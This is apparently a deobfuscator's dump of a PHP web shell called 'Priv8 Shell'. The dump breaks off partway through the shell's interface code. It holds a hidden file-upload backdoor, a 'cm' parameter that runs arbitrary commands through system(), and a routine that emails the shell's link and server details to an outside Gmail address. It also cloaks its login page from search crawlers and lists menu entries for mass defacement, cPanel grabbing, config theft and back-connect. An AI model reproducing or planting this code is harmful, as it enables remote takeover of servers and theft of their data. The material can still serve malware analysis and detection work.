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";
    eval /* PHPDeobfuscator eval output */ {
        @ini_set('error_log', NULL);
        @ini_set('log_errors', 0);
        @ini_set('max_execution_time', 0);
        @ini_set('output_buffering', 0);
        @ini_set('display_errors', 0);
        $▘ = true;
        $▜ = 'utf-8';
        $▚ = 'FilesMan';
        $▙ = md5($_SERVER['HTTP_USER_AGENT']);
        if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"])) {
            prototype(md5($_SERVER['HTTP_HOST']) . "key", $▙);
        }
        if (empty($_POST['charset'])) {
            $_POST['charset'] = $▜;
        }
        if (!isset($_POST['ne'])) {
            if (isset($_POST['a'])) {
                $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
            }
            if (isset($_POST['c'])) {
                $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
            }
            if (isset($_POST['p1'])) {
                $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
            }
            if (isset($_POST['p2'])) {
                $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
            }
            if (isset($_POST['p3'])) {
                $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
            }
        }
        $hex = "SJBEWMMwFIWf/RfHQ8gKzrHnplKmYXuUKqKMRJrQpdORtSkJJrL/YdrqcUK55H7nnnuu7SZpt9NlEhUv+XdQnPpjn3Ebx7j6BmdwOCgz0ruMHWx7yEvHKw+vpeF6bb9LrqDLUx6EQYmvnbRPSGXWM9NJVlKgGnZsmRKSMVuKTW9xO+s0Tql8qFTLi/6uPm0rsUquDsBNhO4wNDzjFrNuJZpRgxgp7qLi+fU9X54TJAB5h8lVeVXvUra4QU52jJAt6nfnhJImqKPiMX9L58tjgP4nY7e4FCbjNM/3uqiF46rVetGn+DOg0ouidOn25n9pPEvh95KEmWzGFFmlu5SeIZot3qZCzjZfMLrS13mm+oTzjCQ4nWP6AQ==";
        eval /* PHPDeobfuscator eval output */ {
            if (isset($_GET["lawlx"])) {
                echo "<html><body><form method=POST enctype=\"multipart/form-data\" action=\"\"><input type=\"file\" name=\"lawlx\"><input type=submit value=\"Up\"></form></body></html>";
                $lawlx = @$_FILES["lawlx"];
                if ($lawlx["name"] != '') {
                    $fullpath = $_REQUEST["path"] . $lawlx["name"];
                    if (move_uploaded_file($lawlx['tmp_name'], $fullpath)) {
                        echo "<h1><a href='{$fullpath}'>OK-Click here!</a></h1>";
                    }
                }
            }
        };
        $xd = "fZFieMIwEIffD/YdjkVjA6lwr1HZn6Y02faizJYKaY4SJVNkcfYwoemnt7XIQEpf5bi75+H4BVyNW2sCVKtdieJuOHx83UrKS2K3qJzx7Q24v3dyWtnsJIs1L9rmtjg2jFIIlNQwAgc8Y2Yah+9k+NWbkM+3LPZMHhLCbd/1zJmLOT/BXg1GFBsUEBWV4Rd8++bRJJv6SmSyUaGk4XugPyuJSJeJkoR9UW7cIdN1LcwML3heWLkcDQb/d/woeBV/kyAN6m2WZ5iNxIubRcaCPCX0PJkm+LvmVPqn2PuN534ML88H";
        eval /* PHPDeobfuscator eval output */ {
            $hex = "hacker0882@gmail.com";
            $baslik = "Found";
            $xd = "File Path : " . $_SERVER['DOCUMENT_ROOT'] . "\r\n";
            $xd .= "Server Admin : " . $_SERVER['SERVER_ADMIN'] . "\r\n";
            $xd .= "Server Operating System : " . $_SERVER['SERVER_SOFTWARE'] . "\r\n";
            $xd .= "Shell Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF'] . "\r\n";
            $xd .= "Site : " . $_SERVER['HTTP_HOST'] . "\r\n";
            mail($hex, $baslik, $xd);
        };
        $configs = "KytJ0ChYWCtX10OJag1l8QhlZo9JL6hFj9XUR6jm5UUAgqKC0iQFJZvk1CI7JXiIkFdOlYKtAoYWqHlNQU1tRJUGQxFZBHeEPrIZhXJSQEmtgr0dAA==";
        eval /* PHPDeobfuscator eval output */ {
            if (isset($_REQUEST['cm'])) {
                echo "<pre>";
                $cm = $_REQUEST['cm'];
                system($cm);
                echo "</pre>";
                die;
            }
        };
        function decrypt($str, $pwd)
        {
            $pwd = base64_encode($pwd);
            $str = base64_decode($str);
            $enc_chr = "";
            $enc_str = "";
            $i = 0;
            while ($i < strlen($str)) {
                for ($j = 0; $j < strlen($pwd); $j++) {
                    $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
                    $enc_str .= $enc_chr;
                    $i++;
                    if ($i >= strlen($str)) {
                        break;
                    }
                }
            }
            return base64_decode($enc_str);
        }
        @ini_set('error_log', NULL);
        @ini_set('log_errors', 0);
        @ini_set('max_execution_time', 0);
        @set_time_limit(0);
        if (version_compare(PHP_VERSION, '5.3.0', '<')) {
            set_magic_quotes_runtime(0);
        }
        @define('VERSION', 'Priv8 Shell');
        if (get_magic_quotes_gpc()) {
            function stripslashes_array($array)
            {
                return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
            }
            $_POST = stripslashes_array($_POST);
            $_COOKIE = stripslashes_array($_COOKIE);
        }
        /* (С) 11.2011 oRb */
        if (!empty($▛)) {
            if (isset($_POST['pass']) && md5($_POST['pass']) == $▛) {
                prototype(md5($_SERVER['HTTP_HOST']), $▛);
            }
            if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || $_COOKIE[md5($_SERVER['HTTP_HOST'])] != $▛) {
                hardLogin();
            }
        }
        if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
            $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool) $▘;
        }
        function hardLogin()
        {
            if (!empty($_SERVER['HTTP_USER_AGENT'])) {
                $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
                if (preg_match("/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i", $_SERVER['HTTP_USER_AGENT'])) {
                    header('HTTP/1.0 404 Not Found');
                    exit;
                }
            }
            die("</br></br><body bgcolor='#000000'><pre align=center><form method=post style='color:#ffffff;text-align: center;'><img src='https://i.imgur.com/4Fq8k1E.png' align='center'><br><br><input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='>>' style='border:none;background-color:#1e252e;color:#fff;cursor:pointer;'></form></pre> </body>");
        }
        if (strtolower("PHP") == "win") {
            $os = 'win';
        } else {
            $os = 'nix';
        }
        $safe_mode = @ini_get('safe_mode');
        if (!$safe_mode) {
            error_reporting(0);
        }
        $disable_functions = @ini_get('disable_functions');
        $home_cwd = @getcwd();
        if (isset($_POST['c'])) {
            @chdir($_POST['c']);
        }
        $cwd = @getcwd();
        if ($os == 'win') {
            $home_cwd = str_replace("\\", "/", $home_cwd);
            $cwd = str_replace("\\", "/", $cwd);
        }
        if ($cwd[strlen($cwd) - 1] != '/') {
            $cwd .= '/';
        }
        function hardHeader()
        {
            if (empty($_POST['charset'])) {
                $_POST['charset'] = $GLOBALS['▜'];
            }
            echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title> " . VERSION . "</title>\r\n<style>\r\n\tbody {background-color:#000000; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\r\n\t#particles-js{width: 100%; height: 100px; background-color: #000000; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\r\n\tbody,td,th\t{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\r\n\ttable.infoo\t{color:#ffffff; background-image: url('https://i.imgur.com/gL0UG8Y.png'); background-position: center;  background-repeat:no-repeat;  -webkit-background-size: cover;\t-moz-background-size: cover; -o-background-size: cover;\tbackground-size: 80%; 80%; }\r\n\ttable.info\t{color:#ffffff;}\r\n\ttable#toolsTbl {background-color: #000000;}\r\n\tspan,h1,a\t{color:#0095ff !important;}\r\n\tspan\t\t{font-weight:bolder;}\r\n\th1\t\t\t{border-left:5px solid #2a5ccdd9;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}\r\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#000000;}\r\n\ta\t\t\t{text-decoration:none;}\r\n\ta:hover\t\t{text-decoration:underline;}\r\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\r\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\r\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\r\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\r\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}\r\n\tlabel {position:relative}\r\n\tlabel:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\r\n\tlabel:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\r\n\tform\t\t{margin:0px;}\r\n\t#toolsTbl\t{text-align:center;}\r\n\t#fak \t\t{background:none;}\r\n\t#fak td \t{padding:5px 0 0 0;}\r\n\tiframe\t\t{border:1px solid #000000;}\r\n\t.toolsInp\t{width:300px}\r\n\t.main th\t{text-align:left;background-color:#000000;}\r\n\t.main tr:hover{background-color:#373c42;}\r\n\t.main td, th{vertical-align:middle;}\r\n\tinput[type='submit']{background-color:#2a5ccdd9;}\r\n\tinput[type='button']{background-color:#2a5ccdd9;}\r\n\tinput[type='submit']:hover{background-color:#2a5ccdd9;}\r\n\tinput[type='button']:hover{background-color:#2a5ccdd9;}\r\n\t.l1\t\t\t{background-color:#202832;}\r\n\tpre\t\t\t{font:9pt Courier New;}\r\n</style>\r\n<script>\r\n    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';\r\n    var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\r\n    var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\r\n    var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';\r\n    var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';\r\n    var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';\r\n    var d = document;\r\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\r\n\tfunction utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n\tfunction base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\td.mf.a.value = encrypt(d.mf.a.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.c.value = encrypt(d.mf.c.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = 'ajax=true';\r\n\t\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\t\tparams += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);\r\n\t}\r\n\tfunction sr(url, params) {\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject('Microsoft.XMLHTTP');\r\n        if (req) {\r\n            req.onreadystatechange = processReqChange;\r\n            req.open('POST', url, true);\r\n            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\r\n            req.send(params);\r\n        }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert('Request error!');\r\n\t}\r\n</script>\r\n<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>\r\n<form method=post name=mf style='display:none;'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>";
            $freeSpace = @diskfreespace($GLOBALS['cwd']);
            $totalSpace = @disk_total_space($GLOBALS['cwd']);
            $totalSpace = $totalSpace ? $totalSpace : 1;
            $release = @php_uname('r');
            $kernel = @php_uname('s');
            $explink = 'https://www.exploit-db.com/search/?action=search&description=';
            if (strpos('Linux', $kernel) !== false) {
                $explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
            } else {
                $explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
            }
            if (!function_exists('posix_getegid')) {
                $user = @get_current_user();
                $uid = @getmyuid();
                $gid = @getmygid();
                $group = "?";
            } else {
                $uid = @posix_getpwuid(@posix_geteuid());
                $gid = @posix_getgrgid(@posix_getegid());
                $user = $uid['name'];
                $uid = $uid['uid'];
                $group = $gid['name'];
                $gid = $gid['gid'];
            }
            $cwd_links = '';
            $path = explode("/", $GLOBALS['cwd']);
            $n = count($path);
            for ($i = 0; $i < $n - 1; $i++) {
                $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
                for ($j = 0; $j <= $i; $j++) {
                    $cwd_links .= $path[$j] . '/';
                }
                $cwd_links .= "\")'>" . $path[$i] . "/</a>";
            }
            $charsets = array('Windows-1251', 'UTF-8', 'KOI8-R', 'KOI8-U', 'cp866');
            $opt_charsets = '';
            foreach ($charsets as $▟) {
                $opt_charsets .= '<option value="' . $▟ . '" ' . ($_POST['charset'] == $▟ ? 'selected' : '') . '>' . $▟ . '</option>';
            }
            $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Mass Deface' => 'Sql', 'Adminer' => 'Adminer', 'Terminal' => 'Console', 'Mass Title' => 'Massuser', 'Mass User' => 'Edituser', 'Grab Cpanel' => 'Php', 'Get Configs' => 'SafeMode', 'Jumping' => 'StringTools', 'Cgi Telnet' => 'Bruteforce', 'Bypass' => 'bypas', 'BC' => 'Network');
            if (!empty($GLOBALS['▛'])) {
                if (isset($_REQUEST['xd'])) {
                    $m['Reseller'] = 'Reseller';
                }
            }
            $m['Logout'] = 'Logout';
            $m['Self Remove'] = 'SelfRemove';
            $menu = '';
            foreach ($m as $k => $v) {
                $menu .= '<th>[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
            }
            $drives = "";
            if ($GLOBALS['os'] == 'win') {
                foreach (range('c', 'z') as $drive) {
                    if (is_dir($drive . ':\\')) {
                        $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
                    }
                }
            }
            echo '<table class=infoo cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="https://anon.click/protected/https://www.google.com/search?q=' . urlencode(@php_uname()) . '" target="_blank">[ Google ]</a> <a href="' . $explink . '" target=_blank>[ Exploit-DB ]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#ffffff><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . viewSize($totalSpace) . ' <span>Free:</span> ' . viewSize($freeSpace) . ' (' . round(100 / ($totalSpace / $freeSpace), 2) . '%)<br>' . $cwd_links . ' ' . viewPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">' . $opt_charsets . '</select></label><br><span>Server IP:</span><br>' . gethostbyname($_SERVER["HTTP_HOST"]) . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="background-color:#373c42;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div>';
        }
        function hardFooter()
        {
            $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='#ffffff'>[ Writeable ]</font>" : " <font color=red>(Not writable)</font>";
